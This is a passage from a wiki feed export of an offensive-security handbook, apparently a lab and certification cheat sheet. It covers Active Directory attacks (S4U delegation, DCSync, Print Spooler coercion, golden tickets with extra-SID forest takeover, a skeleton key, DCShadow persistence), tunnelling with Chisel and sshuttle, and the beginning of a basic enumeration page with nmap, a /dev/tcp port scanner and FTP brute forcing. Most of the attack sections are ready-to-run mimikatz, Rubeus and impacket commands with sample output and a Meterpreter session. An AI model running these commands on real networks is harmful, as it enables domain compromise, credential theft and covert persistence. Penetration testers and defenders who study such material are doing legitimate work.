Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DCSync ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ACLs Abuse ==&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]&lt;br /&gt;
&lt;br /&gt;
== Printer Spooler service abuse ==&lt;br /&gt;
&lt;br /&gt;
If the &#039;&#039;&#039;&#039;&#039;Print Spooler&#039;&#039;&#039;&#039;&#039; service is &#039;&#039;&#039;enabled,&#039;&#039;&#039; you can use some already known AD credentials to &#039;&#039;&#039;request&#039;&#039;&#039; to the Domain Controller’s print server an &#039;&#039;&#039;update&#039;&#039;&#039; on new print jobs and just tell it to &#039;&#039;&#039;send the notification to some system&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Finding Windows servers on the domain&lt;br /&gt;
Get-ADComputer -Filter {(OperatingSystem -like &amp;quot;*windows*server*&amp;quot;) -and (OperatingSystem -notlike &amp;quot;2016&amp;quot;) -and (Enabled -eq &amp;quot;True&amp;quot;)} -Properties * | select Name | ft -HideTableHeaders &amp;gt; servers.txt&lt;br /&gt;
&lt;br /&gt;
# Finding spooler services listening&lt;br /&gt;
. .\Get-SpoolStatus.ps1&lt;br /&gt;
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}&lt;br /&gt;
# For linux, use rpcdump.py&lt;br /&gt;
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN&lt;br /&gt;
&lt;br /&gt;
# Ask service to authenticate against an arbitrary host&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
SpoolSample.exe&lt;br /&gt;
# For linux use&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&lt;br /&gt;
python dementor.py -d domain -u username -p password&lt;br /&gt;
printerbug.py &#039;domain/username:password&#039;@&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Zerologon ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
# https://www.secura.com/blog/zero-logon&lt;br /&gt;
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.&lt;br /&gt;
# Test for zerologon&lt;br /&gt;
https://github.com/SecuraBV/CVE-2020-1472&lt;br /&gt;
# PoC&lt;br /&gt;
https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Pivoting =&lt;br /&gt;
&lt;br /&gt;
== Living Off the Foreign Land == &lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2294&lt;br /&gt;
&lt;br /&gt;
== Tunnelling/ Proxying ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# SSHUTTLE&lt;br /&gt;
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5&lt;br /&gt;
sshuttle -r user@172.16.0.5 --ssh-cmd &amp;quot;ssh -i private_key&amp;quot; 172.16.0.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.&lt;br /&gt;
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Post-exploitation with high privileged account =&lt;br /&gt;
&lt;br /&gt;
Once you get Domain Admin or Enterprise Admin you can dump the domain database: &#039;&#039;&#039;ntds.dit&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]&lt;br /&gt;
&lt;br /&gt;
== Dumping Domain Credentials ==&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Golden Ticket ==&lt;br /&gt;
&lt;br /&gt;
=== Golden ticket on one domain ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]&lt;br /&gt;
&lt;br /&gt;
A valid &#039;&#039;&#039;TGT as any user&#039;&#039;&#039; can be created &#039;&#039;&#039;using the NTLM hash of the krbtgt AD account&#039;&#039;&#039;. The advantage of forging a TGT instead of TGS is being &#039;&#039;&#039;able to access any service&#039;&#039;&#039; (or machine) in the domain and the impersonated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find domain SID.&lt;br /&gt;
whoami /user # Need to be logged in as a user and not nt authority\system&lt;br /&gt;
# Or use PowerView.ps1&lt;br /&gt;
Get-DomainSID&lt;br /&gt;
# EXAMPLE 1&lt;br /&gt;
# Use mimikatz to generate a golden ticket&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt&lt;br /&gt;
# EXAMPLE 2&lt;br /&gt;
#mimikatz&lt;br /&gt;
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt&lt;br /&gt;
.\Rubeus.exe ptt /ticket:ticket.kirbi&lt;br /&gt;
klist #List tickets in memory&lt;br /&gt;
# EXAMPLE 3&lt;br /&gt;
# Example using aes key&lt;br /&gt;
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi&lt;br /&gt;
# EXAMPLE 4&lt;br /&gt;
# Linux - impacket&lt;br /&gt;
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache&lt;br /&gt;
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# With the golden ticket injected into memory, we can launch a new command prompt with&lt;br /&gt;
misc::cmd and again attempt lateral movement with PsExec.&lt;br /&gt;
psexec.exe \\dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Taking over forest with extra SIDs ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Crafting the Golden Ticket with Extra SIDs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a &amp;quot;golden ticket.&amp;quot; This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From Windows&lt;br /&gt;
# Extract the password hash of the krbtgt account.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
#  Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.&lt;br /&gt;
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSID -Domain prod.corp1.com&lt;br /&gt;
S-1-5-21-3776646582-2086779273-4091361643&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainSid -Domain corp1.com&lt;br /&gt;
S-1-5-21-1095350385-1831131555-2412080359&lt;br /&gt;
&lt;br /&gt;
mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt&lt;br /&gt;
...&lt;br /&gt;
Golden ticket for &#039;h4x @ prod.corp1.com&#039; successfully submitted for current session&lt;br /&gt;
&lt;br /&gt;
# Get command exec&lt;br /&gt;
C:\tools&amp;gt; c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#  Verifying Group Memberships&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name Type&lt;br /&gt;
============================================ ================&lt;br /&gt;
Everyone Well-known group&lt;br /&gt;
...&lt;br /&gt;
PROD\Domain Admins Group&lt;br /&gt;
PROD\Group Policy Creator Owners Group&lt;br /&gt;
Unknown SID type&lt;br /&gt;
Unknown SID type&lt;br /&gt;
CORP1\Enterprise Admins Group&lt;br /&gt;
...&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# From Linux&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets&lt;br /&gt;
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)&lt;br /&gt;
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator&lt;br /&gt;
# Add ccache to krb5ccname&lt;br /&gt;
export krb5ccname=Administrator.ccache&lt;br /&gt;
# Use secretsdump or psexec or netexec&lt;br /&gt;
secretsdump.py &#039;internal.domain.com/Administrator&#039;@DC01.domain.com -k -no-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SID filtering ===&lt;br /&gt;
&lt;br /&gt;
Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.&lt;br /&gt;
PS C:\&amp;gt; Get-DomainTrust -Domain corp2.com&lt;br /&gt;
...&lt;br /&gt;
TrustAttributes : FOREST_TRANSITIVE&lt;br /&gt;
...&lt;br /&gt;
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.&lt;br /&gt;
C:\Users\Administrator&amp;gt; netdom trust corp2.com /d:corp1.com /enablesidhistory:yes&lt;br /&gt;
Enabling SID history for this trust.&lt;br /&gt;
The command completed successfully.&lt;br /&gt;
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the&lt;br /&gt;
 SID history setting.&lt;br /&gt;
# This means we need to find a non-default group, because they will always have a RID higher than 1000.&lt;br /&gt;
# We can enumerate members of the built-in administrators on target domain.&lt;br /&gt;
Get-DomainGroupMember -Identity &amp;quot;Administrators&amp;quot; -Domain corp2.com&lt;br /&gt;
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.&lt;br /&gt;
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-&lt;br /&gt;
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-&lt;br /&gt;
4182647938-3943167060-1815963754-1106 /ptt&lt;br /&gt;
# And gain access to target&lt;br /&gt;
C:\&amp;gt; PsExec.exe \\dc01.corp2.com cmd&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
corp1\h4x&lt;br /&gt;
&lt;br /&gt;
# Meterpreter shell using run.txt&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; run&lt;br /&gt;
[*] Meterpreter session 2 opened (192.168.45.169:443 -&amp;gt; 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
Server username: CORP1\h4x&lt;br /&gt;
meterpreter &amp;gt; sysinfo&lt;br /&gt;
Computer        : DC01&lt;br /&gt;
OS              : Windows 2016+ (10.0 Build 17763).&lt;br /&gt;
Architecture    : x64&lt;br /&gt;
System Language : en_US&lt;br /&gt;
Domain          : CORP2&lt;br /&gt;
Logged On Users : 16&lt;br /&gt;
Meterpreter     : x64/windows&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Silver Ticket ==&lt;br /&gt;
&lt;br /&gt;
== AdminSDHolder Group ==&lt;br /&gt;
&lt;br /&gt;
== DSRM Credentials ==&lt;br /&gt;
&lt;br /&gt;
== ACL Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Security Descriptors ==&lt;br /&gt;
&lt;br /&gt;
== Skelton Key ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Run from DC. Enables password “mimikatz” for all users.&lt;br /&gt;
privilege::debug&lt;br /&gt;
misc::skeleton&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Custom SSP ==&lt;br /&gt;
&lt;br /&gt;
== DCShadow ==&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.&lt;br /&gt;
&lt;br /&gt;
Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses &amp;lt;code&amp;gt;Set-DCShadowPermissions.ps1&amp;lt;/code&amp;gt; cmdlet).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, from any machine, use Mimikatz to stage the DCShadow attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Set SPN for user&lt;br /&gt;
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:&amp;quot;SuperHacker/ServicePrincipalThingey&amp;quot;&lt;br /&gt;
# Set SID History for user (effectively granting them Enterprise Admin rights)&lt;br /&gt;
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519&lt;br /&gt;
# Set Full Control permissions on AdminSDHolder container for user&lt;br /&gt;
## Requires retrieval of current ACL:&lt;br /&gt;
(New-Object System.DirectoryServices.DirectoryEntry(&amp;quot;LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com&amp;quot;)).psbase.ObjectSecurity.sddl&lt;br /&gt;
## Then get target user SID:&lt;br /&gt;
Get-NetUser -UserName BackdoorUser | select objectsid&lt;br /&gt;
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user&lt;br /&gt;
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;&amp;lt;nowiki&amp;gt;[[S-1-5-21-1874506631-3219952063-538504511-45109]]&amp;lt;/nowiki&amp;gt;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lsadump::dcshadow /push&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= You got domain admin, now what =&lt;br /&gt;
&lt;br /&gt;
[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2375</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2375"/>
		<updated>2026-06-04T20:02:57Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* WinRM development and lab setup */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
